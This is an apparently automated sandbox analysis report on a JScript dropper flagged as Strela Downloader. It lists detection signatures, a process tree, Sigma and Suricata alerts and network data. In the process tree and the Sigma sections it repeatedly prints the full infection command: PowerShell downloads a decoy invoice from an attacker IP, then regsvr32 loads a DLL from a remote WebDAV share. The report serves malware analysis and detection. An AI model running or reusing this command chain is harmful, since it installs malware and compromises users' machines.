Edit tour

Windows Analysis Report
1637664207127019.js

Overview

General Information

Sample name:	1637664207127019.js
Analysis ID:	1588643
MD5:	cd066f93eac652e10312e0496b282bd2
SHA1:	5e255ba68f81c9b88ac1d48a51d998beeb534e99
SHA256:	82601f2f14b786be2b79b62db6c94755615ae29743cd30cc6b83149b0324039d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3832 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5952 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5868 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5588 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5572 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1644,i,4128501452193625723,2576668886724992794,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5072 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4280 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4640 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3832	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5952, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5868, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5952, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5868, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js", ProcessId: 3832, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4280, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ProcessId: 5952, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ProcessId: 5952, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ProcessId: 5952, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ProcessId: 5952, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ProcessId: 5952, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js", ProcessId: 3832, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5952, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5868, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5072, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4280, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4640, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5072, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4280, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll, ProcessId: 5952, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:36:32.263665+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:36:35.571690+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:36:32.263665+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1637664207127019.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1637664207127019.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:36:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

